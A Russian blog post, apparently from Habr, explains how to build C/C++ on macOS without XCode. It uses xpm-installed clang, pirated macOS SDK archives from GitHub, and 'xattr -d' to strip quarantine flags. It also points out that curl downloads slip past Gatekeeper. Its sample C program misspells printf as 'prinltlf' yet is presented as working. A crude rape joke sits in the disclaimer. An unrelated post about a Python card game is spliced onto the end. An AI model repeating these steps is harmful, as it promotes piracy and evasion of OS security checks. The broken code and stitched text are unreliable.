С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под Mac — без всяких XCode и прочей хтони.
Устанавливаем:
npm install --global xpm@latest
Создаем тестовое окружение:
mkdir testproj
cd testproj
xpm init
В результате появится новый пустой проект с файлом package.json внутри, в который будут добавляться зависимости.
Нативные зависимости.
Честно говоря не думал что доживу до дня, когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось (проклятый здоровый образ жизни да):
Ставим:
xpm install @XpaCK-dev-tools/clang@latest --verbose
После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:
Добавляем его в переменную окружения PATH:
export PATH=./xpacks/.bin:$PATH
Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:
Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.
Разумеется
для нормальных людейони тоже поставляются вместе с XCode и в чистой MacOS отсутствуют начисто, в отличие от большинства линуксов или *BSD систем.
К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github (!)
Чего только на свете не бывает, ей богу.
Я использовал для этой статьи версию заголовочных файлов взятую вот отсюда, но разумеется подобные репозитории регулярно зачищают. А широкие программисткие массы выкладывают по‑новой, поскольку это нужная вещь для автоматических сборок под MacOS, без приключений с кросс компиляцией и скачивания ~14Гб пакета XCode.
Ищутся такие репозитории очень простым запросом в поисковиках:
github macos sdk
Скачиваем архив, снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz
tar xvzf ~/Downloads/MacOSX13.3.tar.xz
На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.
Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:
#include <stdio.h>
int main()
{
prinltlf("Йо-хо-хо и прощай XCode!\n");
return 0;
}
Cохраняем файл как hello.c в каталог ~/work/testproj.
Компилируем:
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello
Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.
Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.
Запускаем собранный бинарник:
./hello
Убеждаемся что работает:
Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.
Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello
Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:
--ld-path=~/Downloads/ld64.lld
На сладкое еще несколько инструментов для разработки.
Куда же без нее. Разумеется официальную версию поставить не выйдет, поскольку она также поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.
Зато есть OpenJDK и готовые бинарные сборки для MacOS:
curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d6... --output jdk.tar.gz
Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl? Тогда добавлю еще один интересный факт:
скачанные с помощью системного curl файлы не имеют атрибут карантина:
Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:
tar xvzf ~/jdk.tar.gz ./jdk-21.0.2.jdk/Contents/Home/bin/java --version
Должна отобразиться версия сборки:
И дальше спокойно работаем с любыми Java-приложениями, без ограничений.
Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить приличным джентельменам.
К счастью все же есть временное решение в виде реализации клиента Git на.. Javascript.
Называется эта штука isomorphic‑git, работает как в браузере так и в Node.js и несмотря на всю свою технологическую «еретичность» — позволяет вполне сносно работать, хотя‑бы для простейших задач скачивания проекта.
Устанавливается разумеется с помощью npm:
npm i -g isomorphic-git
Пример использования:
isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch
Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.
Данная статья написана исключительно в исследовательских целях, не надо пожалуйста воровать чужие маки и насиловать их владельцев (даже если им это нравится).
Автор всего лишь хотел рассказать широкой аудитории, что под капотом их любимого гламурного серебристого девайса с яблоком скрывается очень сложная и навороченная Unix‑система, которая легко и просто может быть использована для разных интересных дел, например для организации CI-сервера.
P.S.
Статья была опубликована на Хабре, оригинал доступен в нашем блоге.
Всем привет! Продолжаю делиться своими идеями, реализованными в проектиках на разных языках программирования.
На этот раз я написал игру "Корова 006" (в оригинале 6 nimmt). Играл в нее на настолках с друзьями и она понравилась своей простотой и быстротой игры - при этом есть над чем подумать и увлекает неплохо. Возможно, вы ее видели или играли:


Настольная игра "Корова 006" - справочно
Игру реализовал на Python с классами, все по уму - долго думал пока прикидывал какие методы в какой класс определить и вообще какие классы создать. Ни строчки кода не сгенерировано ИИ - все сам (хотя уверен, что найдутся "знатоки", которые опять будут про вайбкодинг писать ))).
Игра реализована без графического интерфейса, в терминале. Выглядит вот так:
Для запуска необходимо командой через Python запустить файл "main.py" (как на скрине выше) и убедиться, что файл "Card_Deck.py" находится в той же папке. Весь код открытый - модифицируйте если хотите)) Если Python не установлен - можете установить - это бесплатно.
Чтобы можно было играть в одиночку - прописал компьютерного противника. Логика его работы зашита в классе в файле "Card_Deck.py" )))
Для тех, кто не знает правила - вложил их на русском в проект на Git Hub, ну или вот ссылки на несколько видео про эту игру (там коротко дают правила):
А вот и сам проект с исходниками на Гит Хабе:
Всем кайфануть от игры))))
p.s. у меня не было цели показать нереальные навыки кодинга или сделать суперигру с графикой иличем-то там еще. я просто изучал Python, мне нравилась игра и в какой-то момент решил написать ее для терминала. не проверял существует ли она где-то еще, написанная кем-то.
Основной месседж - учился и сделал что-то прикольное/полезное. Оно работает, если вам не нравится - ну бывает - ничего страшного. Мои друзья позалипали какое-то время))